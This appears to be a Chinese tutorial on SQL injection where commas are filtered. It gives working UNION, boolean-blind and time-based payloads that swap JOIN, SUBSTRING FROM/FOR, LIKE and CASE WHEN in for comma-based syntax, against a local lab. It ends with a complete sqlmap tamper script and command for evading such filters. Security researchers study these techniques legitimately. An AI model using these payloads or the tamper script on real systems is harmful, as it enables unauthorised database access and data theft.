0x01 前言
在实际情况中经常会碰到用一些使用不了逗号的情况如用户的ip可以用x-forwarded-for来伪造,然后把ip存储到数据库中去,对ip没有进行任何过滤,存在注入,但是有一个限制就是: 用‘,’逗号对ip地址进行分割,仅仅取逗号前面的第一部分内容。
0x02 搭建环境
使用 https://github.com/Junehck/FastSqli/ 来快速起一个单页的sql注入测试环境(非常快速方便)
然后添加逗号到拦截规则,也可以使用替换进行
测试出现逗号就拦截
0x03联合注入
正常的payload需要用到逗号
?id=-1 union select 1,2,3 %23
这里我们使用join代替逗号
?id=-2 union select * from ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c) %23
获取数据库,用户
?id=-2 union select * from ((SELECT 1)a JOIN (SELECT database())b JOIN (SELECT user())c) %23
获取当前数据库下的表
?id=-2 union select * from ((SELECT 1)a JOIN (select table_name from information_schema.tables where table_schema=database() )b JOIN (SELECT 3)c) %23
0x04布尔注入
这里有两种基于substring函数不需要逗号的方法
第一种
取第一位
select substring((select user()) from 1 for 1);
取第二位
select substring((select user()) from 2 for 1);
来环境里面试试看,返回ok
?id=1 and ord(substring((select user()) from 1 for 1))>1
改一个大一点的值报错了
第二种
利用负数从前往后读取,然后ord只获取第一位的ascii值来出数据
select ord(substring((select user()) from -1));
不用ord的情况下只能一位一位出然后带上前一位如下-2就是获取倒数两位
利用方法跟上面一致
第三种
使用like来获取数据
?id=1 and (select user()) like '%r%'
出数据也是常规利用方式
?id=1 and (select group_concat(table_name) from information_schema.tables where table_schema=database()) like 'sqli_data%'
0x05 延时注入
正常来说会使用if来注入,但是if也需要逗号这里使用CASE来代替if
case when (条件) then 代码1 else 代码 2 end
判断数据库长度
?id=1 and sleep((case when length(database())>1 then 1 else 0 end ))
出数据的方式跟布尔盲注一样
?id=1 and sleep((case when ord(substring((select user()) from 1 for 1))>1 then 1 else 0 end ))
0x06 tamper
if2case函数实现IF到CASE语句的,然后commalessifnull函数实现IFNULL的替换 mid2for去掉mid函数的逗号 limit2for去掉limit的逗号
#!/usr/bin/env python
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
def if2case(payload):
if payload and payload.find("IF") > -1:
while payload.find("IF(") > -1:
index = payload.find("IF(")
depth = 1
comma1,comma2, end =None, None, None
for i in range(index + len("IF("), len(payload)):
if depth == 1 and payload[i] == ',' and comma1 is None:
comma1 = i
if depth == 1 and payload[i] == ',' and comma1 is not None:
comma2 = i
elif depth == 1 and payload[i] == ')':
end = i
break
elif payload[i] == '(':
depth += 1
elif payload[i] == ')':
depth -= 1
if comma1 and comma2 and end:
_ = payload[index + len("IF("):comma1]
__= payload[comma1+1:comma2]
___ = payload[comma2 + 1:end].lstrip()
newVal = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)" % (_, __, ___)
payload = payload[:index] + newVal + payload[end + 1:]
else:
break
return payload
def commalessifnull(payload):
if payload and payload.find("IFNULL") > -1:
while payload.find("IFNULL(") > -1:
index = payload.find("IFNULL(")
depth = 1
comma, end = None, None
for i in range(index + len("IFNULL("), len(payload)):
if depth == 1 and payload[i] == ',':
comma = i
elif depth == 1 and payload[i] == ')':
end = i
break
elif payload[i] == '(':
depth += 1
elif payload[i] == ')':
depth -= 1
if comma and end:
_ = payload[index + len("IFNULL("):comma]
__ = payload[comma + 1:end].lstrip()
newVal = "CASE WHEN %s=NULL THEN %s ELSE %s END" % (_, __, _)
payload = payload[:index] + newVal + payload[end + 1:]
else:
break
return payload
def mid2for(payload):
retVal = payload
match = re.search(r"(?i)MID\((.+?)\s*,\s*(\d+)\s*\,\s*(\d+)\s*\)", payload or "")
if match:
retVal = retVal.replace(match.group(0), "MID(%s FROM %s FOR %s)" % (match.group(1), match.group(2), match.group(3)))
return retVal
return payload
def limit2for(payload):
retVal = payload
match = re.search(r"(?i)LIMIT\s*(\d+),\s*(\d+)", payload or "")
if match:
retVal = retVal.replace(match.group(0), "LIMIT %s OFFSET %s" % (match.group(2), match.group(1)))
return retVal
return payload
return (limit2for(mid2for(commalessifnull(if2case(payload)))))
实际运行效果
sqlmap -u "http://127.0.0.1/sqli.php?id=1" -p id --tamper xxxx.py -v 3 --dbms mysql -D "test" --columns --batch
参考
https://www.freebuf.com/articles/web/188402.html
https://blog.csdn.net/anrang9512/article/details/101146195